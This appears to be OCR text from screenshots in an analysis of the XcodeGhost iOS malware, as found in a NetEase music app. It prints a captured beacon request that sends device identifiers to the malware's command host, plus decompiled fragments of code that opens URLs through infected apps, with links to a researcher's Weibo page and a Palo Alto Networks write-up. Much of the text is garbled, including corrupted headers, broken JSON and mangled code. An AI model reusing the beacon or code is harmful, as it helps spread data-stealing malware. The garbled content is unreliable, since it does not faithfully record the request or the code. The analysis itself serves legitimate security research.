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POST / HTTP/1.1

Host: init.icloud-analysis.com

Content-Type: application/x-www-form-urlencoded

Connection: keep-alive

Accept: *x/x

User-Agent: %E7%BD%91%E6%98%93%E4%BA%91%E9%IF%B3%E4%B9%90/2.8.3 CFNetwork
Accept-Language: en-us

Content-Length: 320

Accept-Encoding: gzip, deflate

%OTFB{
"bundle" : "com.netease.cloudmusic",
"os" : "8.3",
"status" : "resignActive",
Ilappll : IIM%&%%II,
"country" : "CN",
"idfv" @ " XOO00XXXXXXX ,
@e
i:8 WNQi~EpY,iyi-é[..ToUL ‘R L
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19FAAAUSED-2. «CFOfIEFESE(X52% " Ad
fimee~2>-408»]¢
r:pLawa=~“flP_&DFAL.u4C%24McfLmu@z14W> 0£hHO#T401+~ " E48=<3cUAAIyidyaL>0"00
A

"language" : "en",
"version" : "2.8.3",

"type" : "iPhone7,1",
"timestamp" : "1442571213",
"name" : "device name"

weibo.com/saic
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http://www.weibo.com/p/1001603888503866975286
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v11l5 v45;
v122 = ( *)CFSTR( ) + v45 - 4906;
v75 = objc msgSend(v42, v46, v122);
v76 = objc_retainAutoreleasedReturnvalue(v75);
( v76 )
{
v77 = objc_msgSend(v42, v46, ( %) CFSTR( ) + v115 - 4906);
v123 = v42;
v78 = objc_retainAutoreleasedReturnValue(v77); weibo.com/saic

v66 = objc_msgSend (DWORD3(v120), paObjectforkey, CFSTR(
v108 = objc_retainAutoreleasedReturnvalue(v66);

v67 = objc_msgSend (DWORD3(v120), paObjectforkey, CFSTR(
LODWORD(v120) = objc_retainAutoreleasedReturnvalue(v67);
v68 = objc_msgSend(DWORD3(v120), paObjectforkey, CFSTR(

v119 = objc_retainAutoreleasedReturnValue(v68);

v69 = objc_msgSend(DWORD3(v120), paObjectforkey, CFSTR( ));
v110 = objc_retainAutoreleasedReturnValue(v69);

v70 = objc_msgSend(DWORD3(v120), paObjectforkey, CFSTR( )}
v124 = objc_retainAutoreleasedReturnValue(v70); - .
v71 = objc_msgSend(&0BIC_CLASS__ UIApplication, paSharedapyiR@:qm/saic

http://www.weibo.com/p/1001603888503866975286
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— XcodeGhost h' App Store OFEAEZEBUIEREL T, 24 API
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LV2L) iDEP(iOS Developer Enterprise Program)&&0X )17
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= objcimsqSend(&OB.JcicL.ASS;_ ppl on sharedApplication”);
vS = (void *)objc retainiu ele alue(vd);
v6 = objc_msgSend(&0BJC_CLASS___ UIApplicatio "f; = objc_msgsend(vs, * epplicatio astate’)s
v7 = ( *)objc_retainAutoreleasedReturnVa T
v8 = objc_msgSend(&0BJC_CLASS___ NSURL, paUr {
S = j— e = ob msgSend (&0BJC_C IApplic . "sharedApplication”);
v9 = objc_retainAutoreleasedReturnValue(v8); 8 = (void *)objc_ TeasedRetu iE(v )
. . 9 = ob sgSend SURL, "URLWithSt L
ObJ C_mSgsend(V7, Paopenurln V9), vig = ol]>]C :gtm:m(\utorel sedReturnValue(v9); " i
objc release(vg)- objc_msgSend(v8, "openURL:", v10);
= L objc_release(v10);
Ob] C_release(v7); ; objc_release(v8);
return obj lease(v3)

http://www.weibo.com/p/1001603888503866975286
http://researchcenter.paloaltonetworks.com/2015/09/update-xcodeghost-attacker-can-phish-passwords-and-open-urls-though-infected-apps/
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